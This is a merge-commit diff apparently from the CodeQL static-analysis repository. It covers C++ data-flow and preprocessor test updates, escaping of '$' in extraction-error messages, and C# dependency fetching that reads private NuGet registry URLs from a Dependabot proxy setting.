Merge branch 'main' into redsun82/rust-analyzer-update

This commit is contained in:
Paolo Tranquilli
2025-03-28 13:36:48 +01:00
167 changed files with 9608 additions and 3620 deletions

View File

@@ -1007,9 +1007,11 @@ private module DataFlowIntegrationInput implements SsaImpl::DataFlowIntegrationI
}
}
predicate guardControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) {
predicate guardDirectlyControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) {
guard.(IRGuards::IRGuardCondition).controls(bb, branch)
}
predicate keepAllPhiInputBackEdges() { any() }
}
private module DataFlowIntegrationImpl = SsaImpl::DataFlowIntegration<DataFlowIntegrationInput>;

View File

@@ -14,5 +14,5 @@ where
or
warning instanceof ExtractionUnknownProblem
select warning,
"Extraction failed in " + warning.getFile() + " with warning " + warning.getProblemMessage(),
warning.getSeverity()
"Extraction failed in " + warning.getFile() + " with warning " +
warning.getProblemMessage().replaceAll("$", "$$"), warning.getSeverity()

View File

@@ -17,5 +17,6 @@ from ExtractionError error
where
error instanceof ExtractionUnknownError or
exists(error.getFile().getRelativePath())
select error, "Extraction failed in " + error.getFile() + " with error " + error.getErrorMessage(),
error.getSeverity()
select error,
"Extraction failed in " + error.getFile() + " with error " +
error.getErrorMessage().replaceAll("$", "$$"), error.getSeverity()

View File

@@ -68,31 +68,23 @@
| test.cpp:10:8:10:9 | t2 | test.cpp:11:7:11:8 | [input] SSA phi read(t2) |
| test.cpp:10:8:10:9 | t2 | test.cpp:11:7:11:8 | [input] SSA phi(*t2) |
| test.cpp:10:8:10:9 | t2 | test.cpp:13:10:13:11 | t2 |
| test.cpp:11:7:11:8 | [input] SSA phi read(t2) | test.cpp:15:3:15:6 | SSA phi read(t2) |
| test.cpp:11:7:11:8 | [input] SSA phi(*t2) | test.cpp:15:3:15:6 | SSA phi(*t2) |
| test.cpp:11:7:11:8 | [input] SSA phi read(t2) | test.cpp:15:8:15:9 | t2 |
| test.cpp:11:7:11:8 | [input] SSA phi(*t2) | test.cpp:15:8:15:9 | t2 |
| test.cpp:11:7:11:8 | t1 | test.cpp:21:8:21:9 | t1 |
| test.cpp:12:5:12:10 | ... = ... | test.cpp:13:10:13:11 | t2 |
| test.cpp:12:10:12:10 | 0 | test.cpp:12:5:12:10 | ... = ... |
| test.cpp:13:5:13:8 | [input] SSA phi read(t2) | test.cpp:15:3:15:6 | SSA phi read(t2) |
| test.cpp:13:5:13:8 | [input] SSA phi(*t2) | test.cpp:15:3:15:6 | SSA phi(*t2) |
| test.cpp:13:10:13:11 | t2 | test.cpp:13:5:13:8 | [input] SSA phi read(t2) |
| test.cpp:13:10:13:11 | t2 | test.cpp:13:5:13:8 | [input] SSA phi(*t2) |
| test.cpp:15:3:15:6 | SSA phi read(t2) | test.cpp:15:8:15:9 | t2 |
| test.cpp:15:3:15:6 | SSA phi(*t2) | test.cpp:15:8:15:9 | t2 |
| test.cpp:13:10:13:11 | t2 | test.cpp:15:8:15:9 | t2 |
| test.cpp:13:10:13:11 | t2 | test.cpp:15:8:15:9 | t2 |
| test.cpp:15:8:15:9 | t2 | test.cpp:23:15:23:16 | [input] SSA phi read(*t2) |
| test.cpp:15:8:15:9 | t2 | test.cpp:23:15:23:16 | [input] SSA phi read(t2) |
| test.cpp:17:3:17:8 | ... = ... | test.cpp:21:8:21:9 | t1 |
| test.cpp:17:8:17:8 | 0 | test.cpp:17:3:17:8 | ... = ... |
| test.cpp:21:8:21:9 | t1 | test.cpp:23:15:23:16 | [input] SSA phi read(t1) |
| test.cpp:21:8:21:9 | t1 | test.cpp:23:15:23:16 | [input] SSA phi(*t1) |
| test.cpp:21:8:21:9 | t1 | test.cpp:23:19:23:19 | SSA phi read(t1) |
| test.cpp:21:8:21:9 | t1 | test.cpp:23:19:23:19 | SSA phi(*t1) |
| test.cpp:23:15:23:16 | 0 | test.cpp:23:15:23:16 | 0 |
| test.cpp:23:15:23:16 | 0 | test.cpp:23:15:23:16 | [input] SSA phi(*i) |
| test.cpp:23:15:23:16 | 0 | test.cpp:23:19:23:19 | SSA phi(*i) |
| test.cpp:23:15:23:16 | [input] SSA phi read(*t2) | test.cpp:23:19:23:19 | SSA phi read(*t2) |
| test.cpp:23:15:23:16 | [input] SSA phi read(i) | test.cpp:23:19:23:19 | SSA phi read(i) |
| test.cpp:23:15:23:16 | [input] SSA phi read(t1) | test.cpp:23:19:23:19 | SSA phi read(t1) |
| test.cpp:23:15:23:16 | [input] SSA phi read(t2) | test.cpp:23:19:23:19 | SSA phi read(t2) |
| test.cpp:23:15:23:16 | [input] SSA phi(*i) | test.cpp:23:19:23:19 | SSA phi(*i) |
| test.cpp:23:15:23:16 | [input] SSA phi(*t1) | test.cpp:23:19:23:19 | SSA phi(*t1) |
| test.cpp:23:19:23:19 | SSA phi read(*t2) | test.cpp:24:10:24:11 | t2 |
| test.cpp:23:19:23:19 | SSA phi read(i) | test.cpp:23:19:23:19 | i |
| test.cpp:23:19:23:19 | SSA phi read(t1) | test.cpp:23:23:23:24 | t1 |

View File

@@ -10,7 +10,7 @@
// semmle-extractor-options: -I${testdir}/more_headers/ "-U SOME_SYM"
#undef BAR
#define SCARY(a,aa,aaah) /* we ignore a */ (aa /* but we take aa */) /* and we ignore aaa */
#define LOG(fmt, ...) printf("Warning: %s", fmt, __VA__ARGS__)
#define LOG(fmt, ...) printf("Warning: %s", fmt, __VA__ARGS__)
#include "pp.h"
#if 0
@@ -59,7 +59,7 @@ public:
#else
#define IN_TEMPLATE
#endif
static int val;
};
@@ -71,7 +71,128 @@ templateClassContext<int> tcci;
#define BAR
#if defined(BAR) && \
#if defined(BAR) &&\
defined(BAR)
#warning BAR defined
#endif
#if defined MACROTHREE/**hello*/ && /*world*/\
/*hw*/ (defined(MACROONE)) /* macroone */
#endif
#if defined SIMPLE_COMMENT //this comment \
(defined(SIMPLE_COMMENT)) spans over multiple lines
#endif
#if defined(FOO) &&\
defined(BAR)
#define CONDITIONAL_MACRO_1 1
#endif
#if defined(FOO) && \
defined(BAR) && \
!defined(BAZ)
#define CONDITIONAL_MACRO_2 2
#endif
#define FOO 8
#define BAR 2
#define BAZ 4
#if ((FOO / BAR) \
== 4) && ((BAZ \
* QUX) \
> 10)
#define CONDITIONAL_MACRO_3 3
#endif
// Testing \t spaced PreprocessorIf
#if defined(FOO) && \
defined(BAR) && \
defined(BAZ)
#define CONDITIONAL_MACRO_4 4
#endif
#if defined /* //test */ SIMPLE_COMMENT //this comment \
(defined(SIMPLE_COMMENT)) spans over multiple lines
#endif
#warning foo \
#warning foo \
\
/* a comment */
#warning foo \
\
#warning foo \
\
// a comment
#define FOO 8
#define BAR 2
#define BAZ 4
#if ((FOO / BAR) \
== 4) && ((BAZ \
/** comment */ \
* QUX) \
/** comment */ \
> 10)
#define CONDITIONAL_MACRO_3 3
#endif
#define X 1
#define Y 2
#if defined(X) && \
/*this is a comment*/ defined(Y) \
// another comment
#endif
#warning FOO\
\
\
\
BAR
#warning foo \
\
/* comment */ \
\
#if/** */A/* ... */&&B
#endif
#if/** */ /**/ A
#endif
#if \
\
A && B
#endif
#ifdef /*
*/ FOOBAR
#warning a
#else
#warning b
#endif
#if /*
//test
*/ FOOBAR
#endif
#if/*...*//*...*/A
#endif

View File

@@ -33,17 +33,64 @@
| pp.cpp:0:0:0:0 | pp.cpp | 50 | 2 | 50 | 48 | Macro | MACRO_TEMPLATECLASSCONTEXT_REFERENCED | 5 |
| pp.cpp:0:0:0:0 | pp.cpp | 54 | 3 | 54 | 39 | Macro | MACRO_TEMPLATEMETHODCONTEXT | 6 |
| pp.cpp:0:0:0:0 | pp.cpp | 57 | 1 | 57 | 21 | PreprocessorIfdef | INSTANTIATION | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 59 | 1 | 59 | 6 | PreprocessorElse | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 59 | 1 | 59 | 6 | PreprocessorElse | | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 60 | 3 | 60 | 21 | Macro | IN_TEMPLATE | |
| pp.cpp:0:0:0:0 | pp.cpp | 61 | 1 | 61 | 7 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 61 | 1 | 61 | 7 | PreprocessorEndif | | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 69 | 1 | 69 | 21 | Macro | INSTANTIATION | |
| pp.cpp:0:0:0:0 | pp.cpp | 72 | 1 | 72 | 11 | Macro | BAR | |
| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 74 | 21 | PreprocessorIf | defined(BAR) && \\ | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 74 | 1 | 75 | 14 | PreprocessorIf | defined(BAR) && defined(BAR) | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 76 | 1 | 76 | 20 | PreprocessorWarning | BAR defined | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 77 | 1 | 77 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 79 | 1 | 80 | 26 | PreprocessorIf | defined MACROTHREE && (defined(MACROONE)) | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 81 | 1 | 81 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 83 | 1 | 83 | 26 | PreprocessorIf | defined SIMPLE_COMMENT | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 85 | 1 | 85 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 87 | 1 | 88 | 16 | PreprocessorIf | defined(FOO) && defined(BAR) | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 90 | 1 | 90 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 92 | 1 | 94 | 17 | PreprocessorIf | defined(FOO) && defined(BAR) && !defined(BAZ) | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 96 | 1 | 96 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 98 | 1 | 98 | 13 | Macro | FOO | 8 |
| pp.cpp:0:0:0:0 | pp.cpp | 99 | 1 | 99 | 13 | Macro | BAR | 2 |
| pp.cpp:0:0:0:0 | pp.cpp | 100 | 1 | 100 | 13 | Macro | BAZ | 4 |
| pp.cpp:0:0:0:0 | pp.cpp | 101 | 1 | 104 | 8 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 106 | 1 | 106 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 109 | 1 | 111 | 13 | PreprocessorIf | defined(FOO) && defined(BAR) && defined(BAZ) | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 112 | 1 | 112 | 29 | Macro | CONDITIONAL_MACRO_4 | 4 |
| pp.cpp:0:0:0:0 | pp.cpp | 113 | 1 | 113 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 116 | 1 | 116 | 39 | PreprocessorIf | defined SIMPLE_COMMENT | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 118 | 1 | 118 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 120 | 1 | 120 | 12 | PreprocessorWarning | foo | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 122 | 1 | 122 | 12 | PreprocessorWarning | foo | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 126 | 1 | 126 | 12 | PreprocessorWarning | foo | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 129 | 1 | 129 | 12 | PreprocessorWarning | foo | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 134 | 1 | 134 | 13 | Macro | FOO | 8 |
| pp.cpp:0:0:0:0 | pp.cpp | 135 | 1 | 135 | 13 | Macro | BAR | 2 |
| pp.cpp:0:0:0:0 | pp.cpp | 136 | 1 | 136 | 13 | Macro | BAZ | 4 |
| pp.cpp:0:0:0:0 | pp.cpp | 137 | 1 | 142 | 8 | PreprocessorIf | ((FOO / BAR) == 4) && ((BAZ * QUX) > 10) | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 144 | 1 | 144 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 146 | 1 | 146 | 11 | Macro | X | 1 |
| pp.cpp:0:0:0:0 | pp.cpp | 147 | 1 | 147 | 11 | Macro | Y | 2 |
| pp.cpp:0:0:0:0 | pp.cpp | 148 | 1 | 149 | 36 | PreprocessorIf | defined(X) && defined(Y) | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 151 | 1 | 151 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 153 | 1 | 157 | 3 | PreprocessorWarning | FOO BAR | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 160 | 1 | 160 | 12 | PreprocessorWarning | foo | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 166 | 1 | 166 | 22 | PreprocessorIf | A &&B | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 167 | 1 | 167 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 170 | 1 | 170 | 20 | PreprocessorIf | A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 171 | 1 | 171 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 173 | 1 | 175 | 6 | PreprocessorIf | A && B | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 176 | 1 | 176 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 179 | 1 | 183 | 9 | PreprocessorIfdef | FOOBAR | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 185 | 1 | 185 | 5 | PreprocessorElse | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 186 | 1 | 186 | 10 | PreprocessorWarning | b | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 187 | 1 | 187 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 190 | 1 | 194 | 9 | PreprocessorIf | FOOBAR | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 195 | 1 | 195 | 6 | PreprocessorEndif | N/A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 197 | 1 | 197 | 18 | PreprocessorIf | A | N/A |
| pp.cpp:0:0:0:0 | pp.cpp | 198 | 1 | 198 | 6 | PreprocessorEndif | N/A | N/A |
| pp.h:0:0:0:0 | pp.h | 1 | 1 | 1 | 12 | PreprocessorPragma | once | N/A |
| pp.h:0:0:0:0 | pp.h | 2 | 1 | 2 | 29 | PreprocessorWarning | "This should happen" | N/A |
| pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A |
| pp.h:0:0:0:0 | pp.h | 3 | 1 | 3 | 27 | PreprocessorLine | 33 "emerald_city.h" | N/A |
| pp.h:0:0:0:0 | pp.h | 4 | 1 | 4 | 30 | PreprocessorPragma | byte_order(big_endian) | N/A |
| pp.h:0:0:0:0 | pp.h | 5 | 1 | 5 | 33 | PreprocessorWarning | "Not in Kansas any more" | N/A |
| pp.h:0:0:0:0 | pp.h | 7 | 1 | 11 | 8 | Macro | MULTILINE | world a long |

View File

@@ -1,2 +1,3 @@
| containserror.cpp:9:14:9:14 | Recoverable extraction error: 'x' has already been declared in the current scope | Extraction failed in containserror.cpp with error "containserror.cpp", line 9: error: "x" has already been declared in the current scope\n \tconst char *x = "Foo2 $$@ bar2 $$@ baz2";\n \t ^\n\n | 2 |
| doesnotcompile.cpp:4:2:4:2 | Recoverable extraction error: identifier 'This' is undefined | Extraction failed in doesnotcompile.cpp with error "doesnotcompile.cpp", line 4: error: identifier "This" is undefined\n \tThis is not correct C/C++ code.\n \t^\n\n | 2 |
| doesnotcompile.cpp:4:10:4:10 | Recoverable extraction error: expected a ';' | Extraction failed in doesnotcompile.cpp with error "doesnotcompile.cpp", line 4: error: expected a ";"\n \tThis is not correct C/C++ code.\n \t ^\n\n | 2 |

View File

@@ -1,2 +1,3 @@
| containserror.cpp:9:14:9:14 | Recoverable extraction error: 'x' has already been declared in the current scope | Extraction failed in containserror.cpp with warning "containserror.cpp", line 9: error: "x" has already been declared in the current scope\n \tconst char *x = "Foo2 $$@ bar2 $$@ baz2";\n \t ^\n\n | 1 |
| doesnotcompile.cpp:4:2:4:2 | Recoverable extraction error: identifier 'This' is undefined | Extraction failed in doesnotcompile.cpp with warning "doesnotcompile.cpp", line 4: error: identifier "This" is undefined\n \tThis is not correct C/C++ code.\n \t^\n\n | 1 |
| doesnotcompile.cpp:4:10:4:10 | Recoverable extraction error: expected a ';' | Extraction failed in doesnotcompile.cpp with warning "doesnotcompile.cpp", line 4: error: expected a ";"\n \tThis is not correct C/C++ code.\n \t ^\n\n | 1 |

View File

@@ -1,4 +1,4 @@
| containserror.cpp:0:0:0:0 | containserror.cpp | containserror.cpp | fromSource, normalTermination |
| containserror.cpp:0:0:0:0 | containserror.cpp | containserror.cpp | ExtractionProblem (severity 1), fromSource, normalTermination |
| containswarning.cpp:0:0:0:0 | containswarning.cpp | containswarning.cpp | fromSource, normalTermination |
| doesnotcompile.cpp:0:0:0:0 | doesnotcompile.cpp | doesnotcompile.cpp | ExtractionProblem (severity 1), fromSource, normalTermination |
| file://:0:0:0:0 | | | |

View File

@@ -3,3 +3,8 @@
void containserror() {
#error An error!
}
void error_with_placeholder() {
const char *x = "Foo1 $@ bar1 $@ baz1";
const char *x = "Foo2 $@ bar2 $@ baz2";
}

View File

@@ -1,14 +1,22 @@
using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using Semmle.Util;
using Semmle.Util.Logging;
using Newtonsoft.Json;
namespace Semmle.Extraction.CSharp.DependencyFetching
{
public class DependabotProxy : IDisposable
{
/// <summary>
/// Represents configurations for package registries.
/// </summary>
/// <param name="Type">The type of package registry.</param>
/// <param name="URL">The URL of the package registry.</param>
public record class RegistryConfig(string Type, string URL);
private readonly string host;
private readonly string port;
@@ -17,6 +25,10 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
/// </summary>
internal string Address { get; }
/// <summary>
/// The URLs of package registries that are configured for the proxy.
/// </summary>
internal HashSet<string> RegistryURLs { get; }
/// <summary>
/// The path to the temporary file where the certificate is stored.
/// </summary>
internal string? CertificatePath { get; private set; }
@@ -67,6 +79,39 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
result.Certificate = X509Certificate2.CreateFromPem(cert);
}
// Try to obtain the list of private registry URLs.
var registryURLs = Environment.GetEnvironmentVariable(EnvironmentVariableNames.ProxyURLs);
if (!string.IsNullOrWhiteSpace(registryURLs))
{
try
{
// The value of the environment variable should be a JSON array of objects, such as:
// [ { "type": "nuget_feed", "url": "https://nuget.pkg.github.com/org/index.json" } ]
var array = JsonConvert.DeserializeObject<List<RegistryConfig>>(registryURLs);
if (array is not null)
{
foreach (RegistryConfig config in array)
{
// The array contains all configured private registries, not just ones for C#.
// We ignore the non-C# ones here.
if (!config.Type.Equals("nuget_feed"))
{
logger.LogDebug($"Ignoring registry at '{config.URL}' since it is not of type 'nuget_feed'.");
continue;
}
logger.LogInfo($"Found private registry at '{config.URL}'");
result.RegistryURLs.Add(config.URL);
}
}
}
catch (JsonException ex)
{
logger.LogError($"Unable to parse '{EnvironmentVariableNames.ProxyURLs}': {ex.Message}");
}
}
return result;
}
@@ -75,6 +120,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
this.host = host;
this.port = port;
this.Address = $"http://{this.host}:{this.port}";
this.RegistryURLs = new HashSet<string>();
}
public void Dispose()

View File

@@ -2,7 +2,6 @@
using System.Collections.Generic;
using System.IO;
using System.Linq;
using Newtonsoft.Json.Linq;
using Semmle.Util;
@@ -77,6 +76,11 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
args += " /p:EnableWindowsTargeting=true";
}
if (restoreSettings.ExtraArgs is not null)
{
args += $" {restoreSettings.ExtraArgs}";
}
return args;
}

View File

@@ -89,5 +89,10 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
/// Contains the certificate used by the Dependabot proxy.
/// </summary>
public const string ProxyCertificate = "CODEQL_PROXY_CA_CERTIFICATE";
/// <summary>
/// Contains the URLs of private nuget registries as a JSON array.
/// </summary>
public const string ProxyURLs = "CODEQL_PROXY_URLS";
}
}

View File

@@ -17,7 +17,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
IList<string> GetNugetFeedsFromFolder(string folderPath);
}
public record class RestoreSettings(string File, string PackageDirectory, bool ForceDotnetRefAssemblyFetching, string? PathToNugetConfig = null, bool ForceReevaluation = false, bool TargetWindows = false);
public record class RestoreSettings(string File, string PackageDirectory, bool ForceDotnetRefAssemblyFetching, string? ExtraArgs = null, string? PathToNugetConfig = null, bool ForceReevaluation = false, bool TargetWindows = false);
public partial record class RestoreResult(bool Success, IList<string> Output)
{

View File

@@ -103,10 +103,11 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
compilationInfoContainer.CompilationInfos.Add(("NuGet feed responsiveness checked", checkNugetFeedResponsiveness ? "1" : "0"));
HashSet<string>? explicitFeeds = null;
HashSet<string>? allFeeds = null;
try
{
if (checkNugetFeedResponsiveness && !CheckFeeds(out explicitFeeds))
if (checkNugetFeedResponsiveness && !CheckFeeds(out explicitFeeds, out allFeeds))
{
// todo: we could also check the reachability of the inherited nuget feeds, but to use those in the fallback we would need to handle authentication too.
var unresponsiveMissingPackageLocation = DownloadMissingPackagesFromSpecificFeeds([], explicitFeeds);
@@ -156,7 +157,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
var restoredProjects = RestoreSolutions(out var container);
var projects = fileProvider.Projects.Except(restoredProjects);
RestoreProjects(projects, out var containers);
RestoreProjects(projects, allFeeds, out var containers);
var dependencies = containers.Flatten(container);
@@ -260,8 +261,33 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
/// Populates dependencies with the relative paths to the assets files generated by the restore.
/// </summary>
/// <param name="projects">A list of paths to project files.</param>
private void RestoreProjects(IEnumerable<string> projects, out ConcurrentBag<DependencyContainer> dependencies)
private void RestoreProjects(IEnumerable<string> projects, HashSet<string>? configuredSources, out ConcurrentBag<DependencyContainer> dependencies)
{
// Conservatively, we only set this to a non-null value if a Dependabot proxy is enabled.
// This ensures that we continue to get the old behaviour where feeds are taken from
// `nuget.config` files instead of the command-line arguments.
string? extraArgs = null;
if (this.dependabotProxy is not null)
{
// If the Dependabot proxy is configured, then our main goal is to make `dotnet` aware
// of the private registry feeds. However, since providing them as command-line arguments
// to `dotnet` ignores other feeds that may be configured, we also need to add the feeds
// we have discovered from analysing `nuget.config` files.
var sources = configuredSources ?? new();
this.dependabotProxy.RegistryURLs.ForEach(url => sources.Add(url));
// Add package sources. If any are present, they override all sources specified in
// the configuration file(s).
var feedArgs = new StringBuilder();
foreach (string source in sources)
{
feedArgs.Append($" -s {source}");
}
extraArgs = feedArgs.ToString();
}
var successCount = 0;
var nugetSourceFailures = 0;
ConcurrentBag<DependencyContainer> collectedDependencies = [];
@@ -276,7 +302,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
foreach (var project in projectGroup)
{
logger.LogInfo($"Restoring project {project}...");
var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, TargetWindows: isWindows));
var res = dotnet.Restore(new(project, PackageDirectory.DirInfo.FullName, ForceDotnetRefAssemblyFetching: true, extraArgs, TargetWindows: isWindows));
assets.AddDependenciesRange(res.AssetsFilePaths);
lock (sync)
{
@@ -680,10 +706,42 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
return (timeoutMilliSeconds, tryCount);
}
private bool CheckFeeds(out HashSet<string> explicitFeeds)
/// <summary>
/// Checks that we can connect to all Nuget feeds that are explicitly configured in configuration files
/// as well as any private package registry feeds that are configured.
/// </summary>
/// <param name="explicitFeeds">Outputs the set of explicit feeds.</param>
/// <param name="allFeeds">Outputs the set of all feeds (explicit and inherited).</param>
/// <returns>True if all feeds are reachable or false otherwise.</returns>
private bool CheckFeeds(out HashSet<string> explicitFeeds, out HashSet<string> allFeeds)
{
logger.LogInfo("Checking Nuget feeds...");
(explicitFeeds, var allFeeds) = GetAllFeeds();
(explicitFeeds, allFeeds) = GetAllFeeds();
HashSet<string> feedsToCheck = explicitFeeds;
// If private package registries are configured for C#, then check those
// in addition to the ones that are configured in `nuget.config` files.
this.dependabotProxy?.RegistryURLs.ForEach(url => feedsToCheck.Add(url));
var allFeedsReachable = this.CheckSpecifiedFeeds(feedsToCheck);
var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet();
if (inheritedFeeds.Count > 0)
{
logger.LogInfo($"Inherited Nuget feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}");
compilationInfoContainer.CompilationInfos.Add(("Inherited Nuget feed count", inheritedFeeds.Count.ToString()));
}
return allFeedsReachable;
}
/// <summary>
/// Checks that we can connect to the specified Nuget feeds.
/// </summary>
/// <param name="feeds">The set of package feeds to check.</param>
/// <returns>True if all feeds are reachable or false otherwise.</returns>
private bool CheckSpecifiedFeeds(HashSet<string> feeds)
{
logger.LogInfo("Checking that Nuget feeds are reachable...");
var excludedFeeds = EnvironmentVariables.GetURLs(EnvironmentVariableNames.ExcludedNugetFeedsFromResponsivenessCheck)
.ToHashSet();
@@ -695,7 +753,7 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
var (initialTimeout, tryCount) = GetFeedRequestSettings(isFallback: false);
var allFeedsReachable = explicitFeeds.All(feed => excludedFeeds.Contains(feed) || IsFeedReachable(feed, initialTimeout, tryCount));
var allFeedsReachable = feeds.All(feed => excludedFeeds.Contains(feed) || IsFeedReachable(feed, initialTimeout, tryCount));
if (!allFeedsReachable)
{
logger.LogWarning("Found unreachable Nuget feed in C# analysis with build-mode 'none'. This may cause missing dependencies in the analysis.");
@@ -710,14 +768,6 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
}
compilationInfoContainer.CompilationInfos.Add(("All Nuget feeds reachable", allFeedsReachable ? "1" : "0"));
var inheritedFeeds = allFeeds.Except(explicitFeeds).ToHashSet();
if (inheritedFeeds.Count > 0)
{
logger.LogInfo($"Inherited Nuget feeds (not checked for reachability): {string.Join(", ", inheritedFeeds.OrderBy(f => f))}");
compilationInfoContainer.CompilationInfos.Add(("Inherited Nuget feed count", inheritedFeeds.Count.ToString()));
}
return allFeedsReachable;
}
@@ -766,23 +816,33 @@ namespace Semmle.Extraction.CSharp.DependencyFetching
}
// todo: this could be improved.
// We don't have to get the feeds from each of the folders from below, it would be enought to check the folders that recursively contain the others.
var allFeeds = nugetConfigs
.Select(config =>
{
try
HashSet<string>? allFeeds = null;
if (nugetConfigs.Count > 0)
{
// We don't have to get the feeds from each of the folders from below, it would be enought to check the folders that recursively contain the others.
allFeeds = nugetConfigs
.Select(config =>
{
return new FileInfo(config).Directory?.FullName;
}
catch (Exception exc)
{
logger.LogWarning($"Failed to get directory of '{config}': {exc}");
}
return null;
})
.Where(folder => folder != null)
.SelectMany(folder => GetFeeds(() => dotnet.GetNugetFeedsFromFolder(folder!)))
.ToHashSet();
try
{
return new FileInfo(config).Directory?.FullName;
}
catch (Exception exc)
{
logger.LogWarning($"Failed to get directory of '{config}': {exc}");
}
return null;
})
.Where(folder => folder != null)
.SelectMany(folder => GetFeeds(() => dotnet.GetNugetFeedsFromFolder(folder!)))
.ToHashSet();
}
else
{
// If we haven't found any `nuget.config` files, then obtain a list of feeds from the root source directory.
allFeeds = GetFeeds(() => dotnet.GetNugetFeedsFromFolder(this.fileProvider.SourceDir.FullName)).ToHashSet();
}
logger.LogInfo($"Found {allFeeds.Count} Nuget feeds (with inherited ones) in nuget.config files: {string.Join(", ", allFeeds.OrderBy(f => f))}");

View File

@@ -123,7 +123,7 @@ namespace Semmle.Extraction.Tests
var dotnet = MakeDotnet(dotnetCliInvoker);
// Execute
var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, "myconfig.config"));
var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, null, "myconfig.config"));
// Verify
var lastArgs = dotnetCliInvoker.GetLastArgs();
@@ -141,7 +141,7 @@ namespace Semmle.Extraction.Tests
var dotnet = MakeDotnet(dotnetCliInvoker);
// Execute
var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, "myconfig.config", true));
var res = dotnet.Restore(new("myproject.csproj", "mypackages", false, null, "myconfig.config", true));
// Verify
var lastArgs = dotnetCliInvoker.GetLastArgs();

View File

@@ -34,30 +34,18 @@ private module Input implements InputSig<Location, CsharpDataFlow> {
n instanceof FlowSummaryNode
or
n.asExpr().(ObjectCreation).hasInitializer()
or
exists(
n.(PostUpdateNode).getPreUpdateNode().asExprAtNode(LocalFlow::getPostUpdateReverseStep(_))
)
}
predicate argHasPostUpdateExclude(ArgumentNode n) {
n instanceof FlowSummaryNode
or
not exists(LocalFlow::getAPostUpdateNodeForArg(n.getControlFlowNode()))
or
n instanceof ParamsArgumentNode
}
predicate postHasUniquePreExclude(PostUpdateNode n) {
exists(ControlFlow::Nodes::ExprNode e, ControlFlow::Nodes::ExprNode arg |
e = LocalFlow::getAPostUpdateNodeForArg(arg) and
e != arg and
n = TExprPostUpdateNode(e)
)
}
predicate uniquePostUpdateExclude(Node n) {
exists(ControlFlow::Nodes::ExprNode e, ControlFlow::Nodes::ExprNode arg |
